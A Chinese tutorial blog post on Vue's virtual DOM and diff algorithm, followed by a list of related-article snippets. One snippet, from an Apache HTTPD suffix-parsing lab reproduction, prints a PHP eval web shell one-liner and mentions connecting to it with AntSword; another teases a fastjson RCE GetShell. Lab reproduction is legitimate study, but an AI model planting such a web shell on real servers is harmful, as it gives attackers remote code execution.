Vue的虚拟dom和diff算法

一、是什么

diff算法是一种通过同层级的树节点进行比较的高效算法
diff算法是为了进行精细化比对,最小量更新的

特点

1.同级比较:比较只在同层级进行
2.首尾指针法:从两边向组件比较
比较方式/策略:深度优先,同层比较

模板编译:

v-if显示上树,或者v-for的数组push了一个新元素上树

请添加图片描述
diff算法的实现流程图
请添加图片描述

二、案例分析

请添加图片描述

oldStart先与newStart比较,不相同
oldStart先与newEnd比较,相同,将真实Dom的a节点移动到新节点所在的位置

请添加图片描述

因为oldStart于newEnd比对成功了,oldStart向右移一位,newEnd向左移一位
oldStart(b节点)先与newStart(b节点)比较,相同,将真实Dom的b节点移动到新节点所在的位置

请添加图片描述

因为oldStart于newStart比对成功了,oldStart向右移一位,newStart向右移一位
oldStart(c节点)先与newStart(c节点)比较,相同,将真实Dom的b节点移动到新节点所在的位置

请添加图片描述

因为oldStart于newStart比对成功了,oldStart向右移一位,newStart向右移一位,此时oldStart的位置大于oldEnd的位置,比较结束
但是新节点还剩下一个d节点,就创建d节点,放在新节点所在的位置,如果比较结束后新节点的个数比较少的话,就需要删除真实dom中的元素

请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/115822.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

家政APP开发服务同城预约维修接单管理系统软件小程序

家政服务小程序是一个基于移动端的家政服务平台,为用户提供方便快捷的家政服务。以下是小程序的主要功能: 1. 家政服务内容展示:商家可以在小程序中展示各种家政服务项目,如清洁、保洁、保姆、月嫂、钟点工等。用户可以浏览服务信…

Ubuntu下安装vscode,并解决终端打不开vscode的问题

Visual Studio Code安装 1,使用 apt 安装 Visual Studio Code 在官方的微软 Apt 源仓库中可用。按照下面的步骤进行即可: 以 sudo 用户身份运行下面的命令,更新软件包索引,并且安装依赖软件: sudo apt update sud…

[自定义 Vue 组件] 小尾巴下拉菜单组件(2.0) TailDropDown

文章归档:https://www.yuque.com/u27599042/coding_star/kcoem6dgyn8drglb [自定义 Vue 组件] 下拉菜单(1.0) DropDownMenu:https://www.yuque.com/u27599042/coding_star/llltv52tchmatwg4 组件效果示例 组件所依赖的常量 在 src 目录下,创…

Redis中Hash类型的命令

目录 哈希类型的命令 hset hget hexists hdel hkeys hvals hgetall hmget hlen hsetnx hincrby hincrbyfloat 内部编码 Hash类型的应用场景 作为缓存 哈希类型和关系型数据库的两点不同之处 缓存方式对比 Redis自身已经是键值对的结构了,Redis自身的键值对就…

顺序栈练习

顺序栈练习 相关内容: 1.判断顺序栈栈满的两种方式 2.一张图理解栈顶指针加加减减的问题 3.栈的顺序存储结构(顺序栈) //顺序栈的初始化、判空、入栈、出栈、读取栈顶元素 //顺序栈的结构:数组、栈顶指针(本质是下标) #include&…

【k8s】pod详解

一、Pod介绍 1、Pod的基础概念 Pod是kubernetes中最小的资源管理组件,Pod也是最小化运行容器化应用的资源对象,一个pod代表着集群中运行的一个进程。kubernetes中其它大多数组件都是围绕着pod来进行支持和扩展pod功能的。 例如,用于管理po…

最新ChatGPT商业运营系统源码+支持GPT4/支持ai绘画+支持Midjourney绘画

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统,支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…

2023年【山东省安全员C证】考试内容及山东省安全员C证复审考试

题库来源:安全生产模拟考试一点通公众号小程序 山东省安全员C证考试内容是安全生产模拟考试一点通总题库中生成的一套山东省安全员C证复审考试,安全生产模拟考试一点通上山东省安全员C证作业手机同步练习。2023年【山东省安全员C证】考试内容及山东省安…

MYSQL体系结构总结

(笔记整理自b站马士兵教育课程) MYSQL总体分为服务层和存储引擎层。 一、服务层 功能: 1、连接:管理连接,权限验证。 2、解析器:词法分析,语法分析。 3、优化器:执行计划生成…

【漏洞复现】fastjson_1.2.24_unserializer_rce

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 文章目录 1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞检测3、漏洞验证 1.5、深度利用1、GetShell 说明内容漏洞编号漏洞名称fastjson 1.2.24 反序列化导致…

归并排序--C语言实现

1. 简述 归并排序的原理是将&#xff0c;两个较大的数组分为大小几乎一致的两个数组。 再将两个数组进行合并成新的有序数组。 合并两个数组的时候需要额外的一个数组的空间。 2. 实现 上图说明过程 代码 #include <stdio.h>void Merge(int *arr, int *tmp, int …

【漏洞复现】Apache_HTTPD_未知后缀名解析

感谢互联网提供分享知识与智慧&#xff0c;在法治的社会里&#xff0c;请遵守有关法律法规 upload-labs/Pass-07 上传1.php文件 <?php eval($_REQUEST[6868]);phpinfo();?>访问/upload/1.php.jaychou 蚁剑连接

Git https方式拉的代码IDEA推送代码报错

报错信息 fatal: could not read Username for ‘https://codehub-cn-south-1.devcloud.huaweicloud.com’: No such file or directory 18:18:39.885: [recovery_pattern] git -c credential.helper -c core.quotepathfalse -c log.showSignaturefalse push --progress --porc…

docker compose实现容器编排

Compose 使用的三个步骤&#xff1a; 使用 Dockerfile 定义应用程序的环境 使用 compose.yml 定义构成应用程序的服务&#xff0c;这样它们可以在隔离环境中一起运行 最后&#xff0c;执行 docker compose up 命令来启动并运行整个应用程序 为什么需要docker compose Dock…

【C++】多态 ⑫ ( 多继承 “ 弊端 “ | 多继承被禁用的场景 | 菱形继承结构的二义性 | 使用虚继承解决菱形继承结构的二义性 )

文章目录 一、多继承 " 弊端 "1、多继承被禁用的场景2、多继承弊端 二、代码示例 - 多继承弊端1、错误示例 - 菱形继承结构的二义性2、代码示例 - 使用虚继承解决菱形继承结构的二义性 一、多继承 " 弊端 " 1、多继承被禁用的场景 禁止使用多继承的场景 : …

C++ Qt 学习(二):常用控件使用与界面布局

1. Qt 布局详解 ui 设计器设计界面很方便&#xff0c;为什么还要手写代码&#xff1f; 更好的控制布局更好的设置 qss代码复用 完全不会写 Qt 布局&#xff0c;很麻烦&#xff0c;怎么学会手写布局&#xff1f; 看 Qt 自己怎么写改良 Qt 的布局写法 1.1 水平布局 #include …

C++笔记之vector的成员函数swap()和data()

C笔记之vector的成员函数swap()和data() 标准C中的std::vector类确实有swap()和data()这两个成员函数。下面是它们的简要描述&#xff1a; swap(): std::vector的swap()成员函数用于交换两个向量的内容&#xff0c;实现了高效的交换操作&#xff0c;不需要复制向量的元素。这…

Apache HttpClient库编写的Scala程序

Apache HttpClient库编写的Scala下载器程序&#xff0c;用于下载图片。代码如下&#xff1a; import org.apache.http.HttpHost import org.apache.http.client.HttpClients import org.apache.http.client.methods.HttpHead import org.apache.http.impl.client.CloseableHtt…

纠结蓝桥杯参加嵌入式还是单片机组?

纠结蓝桥杯参加嵌入式还是单片机组? 单片机包含于嵌入式&#xff0c;嵌入式不只是单片机。. 你只有浅浅的的单片机基础&#xff0c;只能报单片机了。最近很多小伙伴找我&#xff0c;说想要一些单片机资料&#xff0c;然后我根据自己从业十年经验&#xff0c;熬夜搞了几个通宵…

MCU HardFault_Handler调试方法

一.获取内核寄存器的值 1.在MDK的DEBUG模式下&#xff0c;当程序出现跑飞后&#xff0c;确定卡死在HardFault_Handler中断处 2. 通过Register窗口读取LR寄存器的值来确定当前系统使用堆栈是MSP还是PSP LR寄存器值堆栈寄存器0xFFFFFFF9MSP寄存器0xFFFFFFFDPSP寄存器 如下图所…